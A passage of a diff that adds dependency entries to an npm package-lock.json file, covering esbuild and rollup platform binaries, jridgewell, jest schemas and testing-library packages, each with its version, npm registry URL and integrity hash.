+        "linux"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/linux-ia32": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz",
+      "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==",
+      "cpu": [
+        "ia32"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/linux-loong64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz",
+      "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==",
+      "cpu": [
+        "loong64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/linux-mips64el": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz",
+      "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==",
+      "cpu": [
+        "mips64el"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/linux-ppc64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz",
+      "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==",
+      "cpu": [
+        "ppc64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/linux-riscv64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz",
+      "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==",
+      "cpu": [
+        "riscv64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/linux-s390x": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz",
+      "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==",
+      "cpu": [
+        "s390x"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/linux-x64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz",
+      "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/netbsd-x64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz",
+      "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "netbsd"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/openbsd-x64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz",
+      "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openbsd"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/sunos-x64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz",
+      "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "sunos"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/win32-arm64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz",
+      "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/win32-ia32": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz",
+      "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==",
+      "cpu": [
+        "ia32"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@esbuild/win32-x64": {
+      "version": "0.21.5",
+      "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz",
+      "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ],
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/@exodus/bytes": {
+      "version": "1.15.0",
+      "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.0.tgz",
+      "integrity": "sha512-UY0nlA+feH81UGSHv92sLEPLCeZFjXOuHhrIo0HQydScuQc8s0A7kL/UdgwgDq8g8ilksmuoF35YVTNphV2aBQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      },
+      "peerDependencies": {
+        "@noble/hashes": "^1.8.0 || ^2.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@noble/hashes": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@jest/schemas": {
+      "version": "29.6.3",
+      "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz",
+      "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@sinclair/typebox": "^0.27.8"
+      },
+      "engines": {
+        "node": "^14.15.0 || ^16.10.0 || >=18.0.0"
+      }
+    },
+    "node_modules/@jridgewell/gen-mapping": {
+      "version": "0.3.13",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
+      "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@jridgewell/sourcemap-codec": "^1.5.0",
+        "@jridgewell/trace-mapping": "^0.3.24"
+      }
+    },
+    "node_modules/@jridgewell/remapping": {
+      "version": "2.3.5",
+      "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
+      "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@jridgewell/gen-mapping": "^0.3.5",
+        "@jridgewell/trace-mapping": "^0.3.24"
+      }
+    },
+    "node_modules/@jridgewell/resolve-uri": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
+      "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@jridgewell/sourcemap-codec": {
+      "version": "1.5.5",
+      "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
+      "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@jridgewell/trace-mapping": {
+      "version": "0.3.31",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
+      "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@jridgewell/resolve-uri": "^3.1.0",
+        "@jridgewell/sourcemap-codec": "^1.4.14"
+      }
+    },
+    "node_modules/@rolldown/pluginutils": {
+      "version": "1.0.0-beta.27",
+      "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz",
+      "integrity": "sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@rollup/rollup-android-arm-eabi": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.60.2.tgz",
+      "integrity": "sha512-dnlp69efPPg6Uaw2dVqzWRfAWRnYVb1XJ8CyyhIbZeaq4CA5/mLeZ1IEt9QqQxmbdvagjLIm2ZL8BxXv5lH4Yw==",
+      "cpu": [
+        "arm"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ]
+    },
+    "node_modules/@rollup/rollup-android-arm64": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.60.2.tgz",
+      "integrity": "sha512-OqZTwDRDchGRHHm/hwLOL7uVPB9aUvI0am/eQuWMNyFHf5PSEQmyEeYYheA0EPPKUO/l0uigCp+iaTjoLjVoHg==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "android"
+      ]
+    },
+    "node_modules/@rollup/rollup-darwin-arm64": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.60.2.tgz",
+      "integrity": "sha512-UwRE7CGpvSVEQS8gUMBe1uADWjNnVgP3Iusyda1nSRwNDCsRjnGc7w6El6WLQsXmZTbLZx9cecegumcitNfpmA==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ]
+    },
+    "node_modules/@rollup/rollup-darwin-x64": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.60.2.tgz",
+      "integrity": "sha512-gjEtURKLCC5VXm1I+2i1u9OhxFsKAQJKTVB8WvDAHF+oZlq0GTVFOlTlO1q3AlCTE/DF32c16ESvfgqR7343/g==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ]
+    },
+    "node_modules/@rollup/rollup-freebsd-arm64": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.60.2.tgz",
+      "integrity": "sha512-Bcl6CYDeAgE70cqZaMojOi/eK63h5Me97ZqAQoh77VPjMysA/4ORQBRGo3rRy45x4MzVlU9uZxs8Uwy7ZaKnBw==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ]
+    },
+    "node_modules/@rollup/rollup-freebsd-x64": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.60.2.tgz",
+      "integrity": "sha512-LU+TPda3mAE2QB0/Hp5VyeKJivpC6+tlOXd1VMoXV/YFMvk/MNk5iXeBfB4MQGRWyOYVJ01625vjkr0Az98OJQ==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "freebsd"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-arm-gnueabihf": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.60.2.tgz",
+      "integrity": "sha512-2QxQrM+KQ7DAW4o22j+XZ6RKdxjLD7BOWTP0Bv0tmjdyhXSsr2Ul1oJDQqh9Zf5qOwTuTc7Ek83mOFaKnodPjg==",
+      "cpu": [
+        "arm"
+      ],
+      "dev": true,
+      "libc": [
+        "glibc"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-arm-musleabihf": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.60.2.tgz",
+      "integrity": "sha512-TbziEu2DVsTEOPif2mKWkMeDMLoYjx95oESa9fkQQK7r/Orta0gnkcDpzwufEcAO2BLBsD7mZkXGFqEdMRRwfw==",
+      "cpu": [
+        "arm"
+      ],
+      "dev": true,
+      "libc": [
+        "musl"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-arm64-gnu": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.60.2.tgz",
+      "integrity": "sha512-bO/rVDiDUuM2YfuCUwZ1t1cP+/yqjqz+Xf2VtkdppefuOFS2OSeAfgafaHNkFn0t02hEyXngZkxtGqXcXwO8Rg==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "libc": [
+        "glibc"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-arm64-musl": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.60.2.tgz",
+      "integrity": "sha512-hr26p7e93Rl0Za+JwW7EAnwAvKkehh12BU1Llm9Ykiibg4uIr2rbpxG9WCf56GuvidlTG9KiiQT/TXT1yAWxTA==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "libc": [
+        "musl"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-loong64-gnu": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.60.2.tgz",
+      "integrity": "sha512-pOjB/uSIyDt+ow3k/RcLvUAOGpysT2phDn7TTUB3n75SlIgZzM6NKAqlErPhoFU+npgY3/n+2HYIQVbF70P9/A==",
+      "cpu": [
+        "loong64"
+      ],
+      "dev": true,
+      "libc": [
+        "glibc"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-loong64-musl": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.60.2.tgz",
+      "integrity": "sha512-2/w+q8jszv9Ww1c+6uJT3OwqhdmGP2/4T17cu8WuwyUuuaCDDJ2ojdyYwZzCxx0GcsZBhzi3HmH+J5pZNXnd+Q==",
+      "cpu": [
+        "loong64"
+      ],
+      "dev": true,
+      "libc": [
+        "musl"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-ppc64-gnu": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.60.2.tgz",
+      "integrity": "sha512-11+aL5vKheYgczxtPVVRhdptAM2H7fcDR5Gw4/bTcteuZBlH4oP9f5s9zYO9aGZvoGeBpqXI/9TZZihZ609wKw==",
+      "cpu": [
+        "ppc64"
+      ],
+      "dev": true,
+      "libc": [
+        "glibc"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-ppc64-musl": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.60.2.tgz",
+      "integrity": "sha512-i16fokAGK46IVZuV8LIIwMdtqhin9hfYkCh8pf8iC3QU3LpwL+1FSFGej+O7l3E/AoknL6Dclh2oTdnRMpTzFQ==",
+      "cpu": [
+        "ppc64"
+      ],
+      "dev": true,
+      "libc": [
+        "musl"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-riscv64-gnu": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.60.2.tgz",
+      "integrity": "sha512-49FkKS6RGQoriDSK/6E2GkAsAuU5kETFCh7pG4yD/ylj9rKhTmO3elsnmBvRD4PgJPds5W2PkhC82aVwmUcJ7A==",
+      "cpu": [
+        "riscv64"
+      ],
+      "dev": true,
+      "libc": [
+        "glibc"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-riscv64-musl": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.60.2.tgz",
+      "integrity": "sha512-mjYNkHPfGpUR00DuM1ZZIgs64Hpf4bWcz9Z41+4Q+pgDx73UwWdAYyf6EG/lRFldmdHHzgrYyge5akFUW0D3mQ==",
+      "cpu": [
+        "riscv64"
+      ],
+      "dev": true,
+      "libc": [
+        "musl"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-s390x-gnu": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.60.2.tgz",
+      "integrity": "sha512-ALyvJz965BQk8E9Al/JDKKDLH2kfKFLTGMlgkAbbYtZuJt9LU8DW3ZoDMCtQpXAltZxwBHevXz5u+gf0yA0YoA==",
+      "cpu": [
+        "s390x"
+      ],
+      "dev": true,
+      "libc": [
+        "glibc"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-x64-gnu": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.60.2.tgz",
+      "integrity": "sha512-UQjrkIdWrKI626Du8lCQ6MJp/6V1LAo2bOK9OTu4mSn8GGXIkPXk/Vsp4bLHCd9Z9Iz2OTEaokUE90VweJgIYQ==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "libc": [
+        "glibc"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-linux-x64-musl": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.60.2.tgz",
+      "integrity": "sha512-bTsRGj6VlSdn/XD4CGyzMnzaBs9bsRxy79eTqTCBsA8TMIEky7qg48aPkvJvFe1HyzQ5oMZdg7AnVlWQSKLTnw==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "libc": [
+        "musl"
+      ],
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "linux"
+      ]
+    },
+    "node_modules/@rollup/rollup-openbsd-x64": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.60.2.tgz",
+      "integrity": "sha512-6d4Z3534xitaA1FcMWP7mQPq5zGwBmGbhphh2DwaA1aNIXUu3KTOfwrWpbwI4/Gr0uANo7NTtaykFyO2hPuFLg==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openbsd"
+      ]
+    },
+    "node_modules/@rollup/rollup-openharmony-arm64": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.60.2.tgz",
+      "integrity": "sha512-NetAg5iO2uN7eB8zE5qrZ3CSil+7IJt4WDFLcC75Ymywq1VZVD6qJ6EvNLjZ3rEm6gB7XW5JdT60c6MN35Z85Q==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "openharmony"
+      ]
+    },
+    "node_modules/@rollup/rollup-win32-arm64-msvc": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.60.2.tgz",
+      "integrity": "sha512-NCYhOotpgWZ5kdxCZsv6Iudx0wX8980Q/oW4pNFNihpBKsDbEA1zpkfxJGC0yugsUuyDZ7gL37dbzwhR0VI7pQ==",
+      "cpu": [
+        "arm64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@rollup/rollup-win32-ia32-msvc": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.60.2.tgz",
+      "integrity": "sha512-RXsaOqXxfoUBQoOgvmmijVxJnW2IGB0eoMO7F8FAjaj0UTywUO/luSqimWBJn04WNgUkeNhh7fs7pESXajWmkg==",
+      "cpu": [
+        "ia32"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@rollup/rollup-win32-x64-gnu": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.60.2.tgz",
+      "integrity": "sha512-qdAzEULD+/hzObedtmV6iBpdL5TIbKVztGiK7O3/KYSf+HIzU257+MX1EXJcyIiDbMAqmbwaufcYPvyRryeZtA==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@rollup/rollup-win32-x64-msvc": {
+      "version": "4.60.2",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.60.2.tgz",
+      "integrity": "sha512-Nd/SgG27WoA9e+/TdK74KnHz852TLa94ovOYySo/yMPuTmpckK/jIF2jSwS3g7ELSKXK13/cVdmg1Z/DaCWKxA==",
+      "cpu": [
+        "x64"
+      ],
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "win32"
+      ]
+    },
+    "node_modules/@sinclair/typebox": {
+      "version": "0.27.10",
+      "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.10.tgz",
+      "integrity": "sha512-MTBk/3jGLNB2tVxv6uLlFh1iu64iYOQ2PbdOSK3NW8JZsmlaOh2q6sdtKowBhfw8QFLmYNzTW4/oK4uATIi6ZA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@testing-library/dom": {
+      "version": "10.4.1",
+      "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz",
+      "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "@babel/code-frame": "^7.10.4",
+        "@babel/runtime": "^7.12.5",
+        "@types/aria-query": "^5.0.1",
+        "aria-query": "5.3.0",
+        "dom-accessibility-api": "^0.5.9",
+        "lz-string": "^1.5.0",
+        "picocolors": "1.1.1",
+        "pretty-format": "^27.0.2"
+      },
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/@testing-library/jest-dom": {
+      "version": "6.9.1",
+      "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz",
+      "integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@adobe/css-tools": "^4.4.0",
+        "aria-query": "^5.0.0",
+        "css.escape": "^1.5.1",
+        "dom-accessibility-api": "^0.6.3",
+        "picocolors": "^1.1.1",
+        "redent": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=14",
+        "npm": ">=6",
+        "yarn": ">=1"
+      }
+    },
+    "node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz",
+      "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@testing-library/react": {
+      "version": "16.3.2",
+      "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz",
+      "integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@babel/runtime": "^7.12.5"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "peerDependencies": {
+        "@testing-library/dom": "^10.0.0",
+        "@types/react": "^18.0.0 || ^19.0.0",
+        "@types/react-dom": "^18.0.0 || ^19.0.0",
+        "react": "^18.0.0 || ^19.0.0",
+        "react-dom": "^18.0.0 || ^19.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
+          "optional": true
+        },
+        "@types/react-dom": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@testing-library/user-event": {
+      "version": "14.6.1",
+      "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz",
+      "integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12",
+        "npm": ">=6"
+      },
+      "peerDependencies": {
+        "@testing-library/dom": ">=7.21.4"
+      }
